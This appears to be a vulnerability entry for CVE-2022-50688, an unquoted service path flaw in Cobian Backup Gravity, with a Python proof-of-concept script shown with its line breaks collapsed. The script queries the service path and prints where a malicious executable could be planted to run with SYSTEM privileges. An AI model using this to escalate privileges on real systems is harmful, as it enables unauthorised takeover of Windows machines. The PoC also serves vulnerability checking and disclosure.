CVE-2022-50688 Cobian Backup Gravity 未引号服务路径本地提权漏洞

# CVE-2022-50688 PoC - Cobian Backup Gravity Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in CobianBackup11 service import subprocess import os import sys def check_vulnerable_service(): """Check if the CobianBackup11 service has an unquoted service path""" try: # Query service configuration using sc command result = subprocess.run( ['sc', 'qc', 'CobianBackup11'], capture_output=True, text=True ) output = result.stdout # Check for BINARY_PATH_NAME in output if 'BINARY_PATH_NAME' in output: print("[+] Found CobianBackup11 service") for line in output.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"[+] Service path: {path}") # Check if path is unquoted and contains spaces if ' ' in path and not path.startswith('"'): print("[!] VULNERABLE: Path is unquoted and contains spaces") return True, path else: print("[-] Service path is properly quoted or has no spaces") return False, path else: print("[-] CobianBackup11 service not found") return False, None except Exception as e: print(f"[-] Error checking service: {e}") return False, None def exploit_unquoted_path(): """ Exploit the unquoted service path vulnerability Attack: Place a malicious executable in a path component before the actual executable """ vulnerable, service_path = check_vulnerable_service() if not vulnerable: print("[-] Service is not vulnerable to unquoted path attack") return # Extract path components path_parts = service_path.replace('"', '').split('\\') # Find exploitable path component (contains space and before .exe) for i, part in enumerate(path_parts): if ' ' in part and not part.endswith('.exe'): exploit_path = '\\'.join(path_parts[:i+1]) + '.exe' print(f"[!] Potential exploit target: {exploit_path}") print(f"[!] An attacker could place malicious code at: {exploit_path}") print("[!] When the service restarts, this code will execute with SYSTEM privileges") break if __name__ == '__main__': print("="*60) print("CVE-2022-50688 - Cobian Backup Gravity Unquoted Service Path") print("="*60) exploit_unquoted_path() print("\n[!] Note: This PoC is for educational purposes only.")